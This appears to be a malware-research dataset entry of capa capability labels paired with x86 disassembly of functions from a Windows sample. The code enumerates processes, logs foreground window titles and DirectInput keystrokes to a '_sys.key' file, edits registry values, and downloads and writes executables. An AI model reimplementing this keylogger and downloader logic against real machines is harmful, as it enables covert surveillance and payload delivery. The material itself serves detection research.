joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405900
Capabilities:
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push edi
mov edi, eax
mov dword [esi], vtable.CManager.0
mov dword [esi + 4], edi
mov eax, dword [edi]
mov edx, dword [eax + 0xc]
push esi
mov ecx, edi
call edx
push 0
push 0
push 1
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [esi + 8], eax
mov eax, dword [ebp + 8]
mov dword [esi], vtable.CKernelManager.0
mov dword [esi + 0x218], ebx
test ebx, ebx
je 0x405978
test eax, eax
je 0x405954
push eax
push 0x208
push 0x43e838
call fcn.004189a3
add esp, 0xc
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x40596e
push eax
push 0x208
push 0x43ec48
call fcn.004189a3
add esp, 0xc
mov eax, dword [ebp + 0xc]
mov dword [0x43bbac], eax
jmp 0x4059b2
test eax, eax
je 0x40598f
push eax
push 0x208
push 0x43e018
call fcn.004189a3
add esp, 0xc
mov eax, dword [ebp + 0x14]
test eax, eax
je 0x4059a9
push eax
push 0x208
push 0x43e428
call fcn.004189a3
add esp, 0xc
mov ecx, dword [ebp + 0xc]
mov dword [0x43bba8], ecx
mov edx, dword [ebp + 0x10]
xor eax, eax
push 0x4327bc
mov dword [0x43bbb0], edx
mov dword [esi + 0x220], eax
mov dword [esi + 0x21c], eax
mov dword [esi + 0x214], edi
mov dword [0x43cf9c], esi
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.RegCreateKeyExW
push eax
mov dword [esi + 0x228], eax
call edi
mov dword [esi + 0x22c], eax
mov eax, dword [esi + 0x228]
push 0x432db0
push eax
call edi
mov ecx, dword [esi + 0x228]
push str.RegDeleteKeyW
push ecx
mov dword [esi + 0x24c], eax
call edi
mov edx, dword [esi + 0x228]
push 0x432dd0
push edx
mov dword [esi + 0x234], eax
call edi
mov dword [esi + 0x238], eax
mov eax, dword [esi + 0x228]
push 0x4327d8
push eax
call edi
mov ecx, dword [esi + 0x228]
push 0x4327ec
push ecx
mov dword [esi + 0x230], eax
call edi
mov edx, dword [esi + 0x228]
push str.RegEnumValueW
push edx
mov dword [esi + 0x23c], eax
call edi
mov dword [esi + 0x240], eax
mov eax, dword [esi + 0x228]
push str.RegEnumKeyExW
push eax
call edi
mov ecx, dword [esi + 0x228]
push 0x4327fc
push ecx
mov dword [esi + 0x244], eax
call edi
mov dword [esi + 0x248], eax
mov eax, esi
pop edi
pop ebp
ret 0x10
Function at 0x406190
Capabilities:
Enumerate processes
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x238
mov eax, dword [0x4371c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
push 0x7532
mov dword [ebp - 0x238], eax
call fcn.004186e7
push 0x7532
mov edi, eax
push 0
push edi
call fcn.00419e30
add esp, 0x10
push 0
push 2
mov byte [edi], 2
mov dword [ebp - 0x234], 0
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x406204
push str._vz
lea esi, [edi + 2]
push 0x3a98
push esi
call fcn.00418767
add esp, 0xc
jmp 0x406322
call dword [sym.imp.USER32.dll_GetForegroundWindow]
test eax, eax
je 0x40621e
push 0x104
lea ecx, [edi + 2]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
lea esi, [edi + 2]
mov ecx, 0x4326a0
mov eax, esi
mov dx, word [eax]
cmp dx, word [ecx]
jne 0x40624e
test dx, dx
je 0x40624a
mov dx, word [eax + 2]
cmp dx, word [ecx + 2]
jne 0x40624e
add eax, 4
add ecx, 4
test dx, dx
jne 0x406228
xor eax, eax
jmp 0x406253
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
jne 0x40626a
push 0x4325c0
push 0x3a98
push esi
call fcn.00418767
add esp, 0xc
push esi
push 0x432e3c
push 0x3a98
push esi
call fcn.00418767
push 0x228
lea edx, [ebp - 0x22c]
push 0
push edx
call fcn.00419e30
add esp, 0x1c
lea eax, [ebp - 0x230]
push eax
push ebx
mov dword [ebp - 0x230], 0x22c
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
je 0x406322
lea ecx, [ecx]
inc dword [ebp - 0x234]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp eax, 0x36b0
jg 0x406322
mov ecx, dword [ebp - 0x234]
mov eax, 0x66666667
imul ecx
sar edx, 1
mov eax, edx
shr eax, 0x1f
add eax, edx
lea edx, [eax + eax*4]
sub ecx, edx
jne 0x4062f5
push esi
push 0x432e4c
push 0x3a98
push esi
call fcn.00418767
add esp, 0x10
lea eax, [ebp - 0x20c]
push eax
push esi
push str._s___s
push 0x3a98
push esi
call fcn.00418767
add esp, 0x14
lea ecx, [ebp - 0x230]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x4062b0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [ebp - 0x238]
mov ecx, dword [edx + 4]
mov eax, dword [ecx]
mov edx, dword [eax + 8]
push 0x7532
push edi
call edx
push edi
call fcn.0041828d
mov ecx, dword [ebp - 4]
add esp, 4
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041815f
mov esp, ebp
pop ebp
ret 4
Function at 0x406370
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5bc
mov eax, dword [0x4371c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov ebx, ecx
push edi
mov ecx, 0xb6
mov esi, ebx
lea edi, [ebp - 0x5b0]
rep movsd dword es:[edi], dword [esi]
xor ecx, ecx
push 0x2ce
push ecx
lea edx, [ebp - 0x2d6]
push edx
mov dword [ebp - 0x5b4], eax
mov word [ebp - 0x2d8], cx
call fcn.00419e30
add esp, 0xc
push 0
push 0
push 2
push 0
push 1
push 0x40000000
lea eax, [ebp - 0x3a0]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x4063f6
xor eax, eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041815f
mov esp, ebp
pop ebp
ret 8
mov edx, dword [ebp + 0xc]
push 0
lea ecx, [ebp - 0x5b8]
push ecx
add edx, 0xfffffd28
push edx
add ebx, 0x2d8
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x4063e1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x5a8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
je 0x406458
lea ecx, [ebp - 0x5a8]
push ecx
lea edx, [ebp - 0x3a0]
push edx
lea eax, [ebp - 0x2d8]
push str._s__s
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
jmp 0x40646c
lea ecx, [ebp - 0x3a0]
push ecx
lea edx, [ebp - 0x2d8]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
mov eax, dword [ebp - 0x5ac]
sub eax, 0
je 0x40647d
dec eax
jne 0x406490
push eax
jmp 0x40647f
push 5
mov ebx, dword [ebp - 0x5b4]
lea edi, [ebp - 0x2d8]
call fcn.004064b0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
mov eax, 1
pop ebx
call fcn.0041815f
mov esp, ebp
pop ebp
ret 8
Function at 0x4064b0
Capabilities:
Create process on windows
Create process suspended
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa68
mov eax, dword [0x4371c0]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
push 0x208
lea eax, [ebp - 0x214]
push 0
push eax
call fcn.00419e30
push 0x2e
push edi
call fcn.00418f52
mov esi, eax
add esp, 0x14
test esi, esi
jne 0x4064fb
xor al, al
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.0041815f
mov esp, ebp
pop ebp
ret 4
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x41a]
push edx
mov word [ebp - 0x41c], cx
call fcn.00419e30
push 0x20
push esi
call fcn.00418f52
add esp, 0x14
push esi
test eax, eax
je 0x40654f
call dword [sym.imp.KERNEL32.dll_lstrlenW]
dec eax
test eax, eax
jle 0x40656b
cmp word [esi + eax*2], 0x20
je 0x40653f
dec eax
test eax, eax
jg 0x406531
jmp 0x40656b
push eax
push esi
push 0x104
lea eax, [ebp - 0x41c]
push eax
jmp 0x406563
call dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
push esi
push 0x104
lea ecx, [ebp - 0x41c]
push ecx
call fcn.00418f80
add esp, 0x10
lea edx, [ebp - 0x214]
push edx
push 1
lea edx, [ebp - 0x41c]
mov ecx, ebx
call fcn.00406700
test eax, eax
je 0x4064e8
push 0x3e8
lea eax, [ebp - 0xa0c]
push 0
push eax
call fcn.00419e30
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0xa0c]
push str._s_shellopencommand
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
push 0x208
lea eax, [ebp - 0x214]
push 0
push eax
call fcn.00419e30
xor ecx, ecx
push 0x206
push ecx
lea edx, [ebp - 0x622]
push edx
mov word [ebp - 0x624], cx
call fcn.00419e30
add esp, 0x30
lea eax, [ebp - 0x624]
push eax
push 2
lea edx, [ebp - 0xa0c]
mov ecx, ebx
call fcn.00406700
test eax, eax
je 0x4064e8
push 0x104
lea ecx, [ebp - 0x214]
push ecx
lea edx, [ebp - 0x624]
push edx
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x214]
push 0x432ea0
push eax
call fcn.00418943
add esp, 8
test eax, eax
jne 0x40666d
lea ecx, [ebp - 0x214]
push 0x432ea8
push ecx
call fcn.00418943
add esp, 8
test eax, eax
jne 0x40666d
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4326f4
lea edx, [ebp - 0x214]
push edx
call esi
push edi
lea eax, [ebp - 0x214]
push eax
call esi
jmp 0x406675
push edi
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push 0x40
lea ecx, [ebp - 0xa50]
push 0
push ecx
call fcn.00419e30
add esp, 0xc
cmp dword [ebp + 8], 0
mov dword [ebp - 0xa54], 0x44
je 0x4066a4
mov dword [ebp - 0xa4c], str.WinSta0Default
jmp 0x4066b7
xor edx, edx
mov dword [ebp - 0xa28], 1
mov word [ebp - 0xa24], dx
lea eax, [ebp - 0xa64]
push eax
lea ecx, [ebp - 0xa54]
push ecx
push 0
push 0
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x214]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov ecx, dword [ebp - 8]
xor ecx, ebp
mov al, 1
pop esi
call fcn.0041815f
mov esp, ebp
pop ebp
ret 4
Function at 0x406cb0
Capabilities:
Delete registry value
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, eax
cmp dword [esi + 0x218], 0
mov eax, str.back
jne 0x406ccb
mov eax, str.main
lea ecx, [ebp - 4]
push ecx
push 2
push 0
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edx, dword [ebp - 4]
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
mov eax, dword [ebp - 4]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call ebx
cmp dword [esi + 0x218], 0
mov eax, str.back
jne 0x406d09
mov eax, str.main
lea ecx, [ebp - 4]
push ecx
push eax
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyW]
test eax, eax
jne 0x406d4c
mov esi, dword [ebp + 8]
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov edx, dword [ebp - 4]
add eax, eax
push eax
push esi
push 3
push 0
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x406d4c
mov eax, dword [ebp - 4]
push eax
call ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
mov ecx, dword [ebp - 4]
push ecx
call ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x406e50
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
mov eax, dword [0x4371c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
push edi
mov dword [ebp - 0x80c], eax
xor eax, eax
mov ebx, 1
push str.wininet.dll
mov dword [ebp - 0x810], ecx
mov dword [ebp - 0x814], eax
mov dword [ebp - 0x81c], eax
mov byte [ebp - 0x805], bl
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.InternetOpenW
push esi
call edi
push 0
push 0
push 0
push 0
push str.MSIE_6.0
call eax
mov dword [ebp - 0x818], eax
test eax, eax
jne 0x406ee0
test esi, esi
je 0x406ecd
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
pop edi
pop esi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041815f
mov esp, ebp
pop ebp
ret
push str.InternetOpenUrlW
push esi
call edi
mov edx, dword [ebp - 0x80c]
mov ecx, dword [ebp - 0x818]
push 0
push SysReAllocString
push 0
push 0
push edx
push ecx
call eax
mov dword [ebp - 0x80c], eax
test eax, eax
je 0x406ec2
mov edx, dword [ebp - 0x810]
push 0
push 0
push 2
push 0
push 0
push 0x40000000
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x810], eax
cmp eax, 0xffffffff
je 0x406fcf
jmp 0x406f40
push 0x800
lea eax, [ebp - 0x804]
push 0
push eax
call fcn.00419e30
add esp, 0xc
push str.InternetReadFile
push esi
call edi
lea ecx, [ebp - 0x814]
push ecx
mov ecx, dword [ebp - 0x80c]
push 0x800
lea edx, [ebp - 0x804]
push edx
push ecx
call eax
test ebx, ebx
je 0x406f8c
mov edx, 0x5a4d
cmp word [ebp - 0x804], dx
jne 0x406fbb
mov ecx, dword [ebp - 0x814]
xor ebx, ebx
push ebx
lea eax, [ebp - 0x81c]
push eax
mov eax, dword [ebp - 0x810]
push ecx
lea edx, [ebp - 0x804]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x814], ebx
ja 0x406f40
jmp 0x406fc2
mov byte [ebp - 0x805], 0
mov ecx, dword [ebp - 0x810]
push ecx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
call dword [sym.imp.KERNEL32.dll_Sleep]
push str.InternetCloseHandle
push esi
call edi
mov edx, dword [ebp - 0x80c]
mov edi, eax
push edx
call edi
mov eax, dword [ebp - 0x818]
push eax
call edi
test esi, esi
je 0x406ffe
push esi
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
mov ecx, dword [ebp - 4]
mov al, byte [ebp - 0x805]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0041815f
mov esp, ebp
pop ebp
ret
Function at 0x4074c0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov eax, dword [edi]
movzx ecx, word [eax + 0x14]
mov edx, dword [edi + 0x3c]
mov esi, dword [ecx + eax + 0x20]
dec edx
lea ecx, [ecx + eax + 0x18]
not edx
and edx, esi
mov dword [ebp - 0x1c], esi
mov esi, dword [ecx + 0x10]
mov dword [ebp - 0x18], edx
test esi, esi
jne 0x407503
mov ebx, dword [ecx + 0x24]
test bl, 0x40
je 0x4074fc
mov esi, dword [eax + 0x20]
jmp 0x407503
test bl, bl
jns 0x407503
mov esi, dword [eax + 0x24]
mov dword [ebp - 0x14], esi
mov esi, dword [ecx + 0x24]
mov dword [ebp - 0x10], esi
mov esi, 1
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 1
cmp si, word [eax + 6]
jae 0x4075d0
lea ebx, [ecx + 0x4c]
lea esp, [esp]
mov esi, dword [edi + 0x3c]
mov ecx, dword [ebx - 0x1c]
mov edi, dword [ebx - 0x14]
dec esi
not esi
and esi, ecx
mov dword [ebp - 4], ecx
test edi, edi
jne 0x407558
mov ecx, dword [ebx]
test cl, 0x40
je 0x407551
mov edi, dword [eax + 0x20]
jmp 0x407558
test cl, cl
jns 0x407558
mov edi, dword [eax + 0x24]
cmp edx, esi
je 0x407587
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0x1c]
cmp eax, esi
ja 0x407587
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x1c]
call fcn.00407410
test eax, eax
je 0x4075ee
mov edx, dword [ebp - 4]
mov eax, dword [ebx]
mov dword [ebp - 0x1c], edx
mov edx, esi
mov dword [ebp - 0x18], edx
mov dword [ebp - 0x10], eax
jmp 0x4075af
mov eax, dword [ebx]
test eax, 0x2000000
je 0x40759e
test dword [ebp - 0x10], 0x2000000
je 0x40759e
or dword [ebp - 0x10], eax
jmp 0x4075a9
or eax, dword [ebp - 0x10]
and eax, 0xfdffffff
mov dword [ebp - 0x10], eax
sub edi, dword [ebp - 0x1c]
add edi, dword [ebp - 4]
mov eax, dword [ebp + 8]
mov eax, dword [eax]
mov ecx, dword [ebp - 8]
movzx esi, word [eax + 6]
inc ecx
add ebx, 0x28
mov dword [ebp - 0x14], edi
mov edi, dword [ebp + 8]
mov dword [ebp - 8], ecx
cmp ecx, esi
jl 0x407530
lea ecx, [ebp - 0x1c]
mov eax, edi
mov dword [ebp - 0xc], 1
call fcn.00407410
neg eax
pop edi
sbb eax, eax
pop esi
neg eax
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x408000
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
mov esi, ecx
mov eax, dword [esi + 0xc8]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_ResetEvent]
push eax
call edi
mov ecx, dword [esi + 0x2ec]
push ecx
call edi
lea eax, [esi + 0xcc]
push 0
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
lea ebx, [esi + 0xb8]
push ebx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov edx, dword [ebp + 0x10]
push edx
lea edi, [esi + 0xd4]
push 0xff
push edi
call fcn.004189a3
add esp, 0xc
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
lea eax, [eax + eax + 2]
push eax
push edi
push edi
mov dword [esi + 0x2d4], eax
call fcn.00419ac0
mov eax, dword [esi + 0x2d4]
mov ecx, dword [esi + 0x2e8]
add esp, 0xc
push 0
add eax, 8
push 0
mov dword [esi + 0x2d8], eax
mov eax, dword [ebp + 0xc]
mov edx, dword [ecx + 4]
mov edx, dword [edx]
push 1
add ecx, 4
push eax
mov eax, dword [ebp + 8]
push eax
call edx
mov eax, dword [esi + 0x2ec]
push 0xfa0
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
je 0x4080f2
cmp eax, 0x102
je 0x4080da
cmp eax, 0xffffffff
jne 0x4080e7
mov ecx, dword [esi + 0x2ec]
push ecx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0xc
mov edx, dword [esi + 0x2ec]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret 0xc
lea edi, [esi + 0xc0]
push edi
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov eax, dword [edi]
sub eax, dword [ebx]
mov ecx, dword [edi + 4]
sbb ecx, dword [ebx + 4]
mov dword [ebp - 8], eax
mov dword [ebp - 4], ecx
fild qword [ebp - 8]
push 1
fild qword [esi + 0xb0]
lea eax, [esi + 0xcc]
push eax
fdiv qword [0x4330d0]
fdivp st(1)
fstp qword [esi + 0xa8]
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov edx, dword [esi + 0x2ec]
push edx
call dword [sym.imp.KERNEL32.dll_ResetEvent]
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x409030
Capabilities:
Create thread

Disassembly:
push esi
push edi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_PostThreadMessageA]
call dword [sym.imp.USER32.dll_GetInputState]
mov edi, dword [sym.imp.KERNEL32.dll_CreateThread]
push 0
push 0
push 0
push 0x408770
push 0
push 0
call edi
push 0
push 0
push 0
push 0x408d10
push 0
push 0
mov esi, eax
call edi
push 0xffffffffffffffff
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
xor eax, eax
pop esi
ret
Function at 0x409090
Capabilities:
Check mutex on windows
Delete file
Get common file path
Get file size

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [0x4371c0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push esi
push edi
push 0x43d3e8
push 0
push 0
push 0x23
push 0
mov dword [ebp - 0x1c], eax
call dword [sym.imp.SHELL32.dll_SHGetFolderPathW]
push str._sys.key
push 0x43d3e8
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x43d3e8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
push 0xffffffffffffffff
push eax
mov dword [0x43f520], eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push 0x43d3e8
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp edi, 0x3200000
jbe 0x40912c
push 0x43d3e8
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov ecx, dword [0x43f520]
push ecx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov edx, dword [ebx]
xor esi, esi
push esi
push 0x43f064
push 0x431b8c
push 0x800
push edx
call dword [sym.imp.DINPUT8.dll_DirectInput8Create]
test eax, eax
jns 0x40916a
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0041815f
mov esp, ebp
pop ebp
ret
mov eax, dword [0x43f064]
mov ecx, dword [eax]
mov edx, dword [ecx + 0xc]
push esi
push 0x43f068
push 0x431bac
push eax
call edx
test eax, eax
js 0x409158
mov eax, dword [0x43f068]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x2c]
push 0x431b74
push eax
call edx
test eax, eax
js 0x409158
mov eax, dword [0x43f068]
mov edx, dword [ebp - 0x1c]
mov edx, dword [edx]
mov ecx, dword [eax]
push 0xa
push edx
push eax
mov eax, dword [ecx + 0x34]
call eax
test eax, eax
js 0x409158
mov eax, dword [0x43f068]
lea edx, [ebp - 0x18]
push edx
mov dword [ebp - 0x18], 0x14
mov dword [ebp - 0x14], 0x10
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
mov dword [ebp - 8], 0x3c
mov ecx, dword [eax]
push 1
push eax
mov eax, dword [ecx + 0x18]
call eax
test eax, eax
js 0x409158
mov eax, dword [0x43f068]
mov ecx, dword [eax]
mov edx, dword [ecx + 0x1c]
push eax
call edx
mov ecx, dword [ebp - 4]
test eax, eax
setns al
pop edi
xor ecx, ebp
pop esi
call fcn.0041815f
mov esp, ebp
pop ebp
ret

Function at 0x409210
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x43f520]
push esi
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0
push 0x80
push 4
push 0
push 2
push 0x40000000
push 0x43d3e8
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push 2
push 0
mov esi, eax
push 0
push esi
mov dword [ebp - 4], 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
lea ecx, [ebp - 4]
push ecx
push edi
call dword [sym.imp.KERNEL32.dll_lstrlenW]
add eax, eax
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov edx, dword [0x43f520]
push edx
call dword [sym.imp.KERNEL32.dll_ReleaseMutex]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x409290
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x818
mov eax, dword [0x4371c0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
push 0x800
push 0
push 0x43f528
call fcn.00419e30
add esp, 0xc
call dword [sym.imp.USER32.dll_GetForegroundWindow]
push 0x800
push 0x43f528
push eax
mov dword [0x43fd28], eax
call dword [sym.imp.USER32.dll_GetWindowTextW]
xor eax, eax
push 0x7fe
push eax
lea ecx, [ebp - 0x806]
push ecx
xor esi, esi
mov word [ebp - 0x808], ax
call fcn.00419e30
mov edx, dword [0x43fd28]
add esp, 0xc
cmp edx, dword [0x43f524]
je 0x409399
push 0x43f528
call dword [sym.imp.KERNEL32.dll_lstrlenW]
test eax, eax
jle 0x40938d
lea eax, [ebp - 0x818]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movzx ecx, word [ebp - 0x80c]
movzx edx, word [ebp - 0x80e]
movzx eax, word [ebp - 0x810]
push ecx
movzx ecx, word [ebp - 0x812]
push edx
movzx edx, word [ebp - 0x816]
push eax
movzx eax, word [ebp - 0x818]
push ecx
push edx
push eax
push 0x43f528
lea ecx, [ebp - 0x808]
push 0x433070
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
lea edi, [ebp - 0x808]
call fcn.00409210
push 0x800
push esi
push 0x43f528
call fcn.00419e30
add esp, 0x30
mov esi, 1
mov edx, dword [0x43fd28]
mov dword [0x43f524], edx
mov ecx, dword [ebp - 4]
pop edi
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0041815f
mov esp, ebp
pop ebp
ret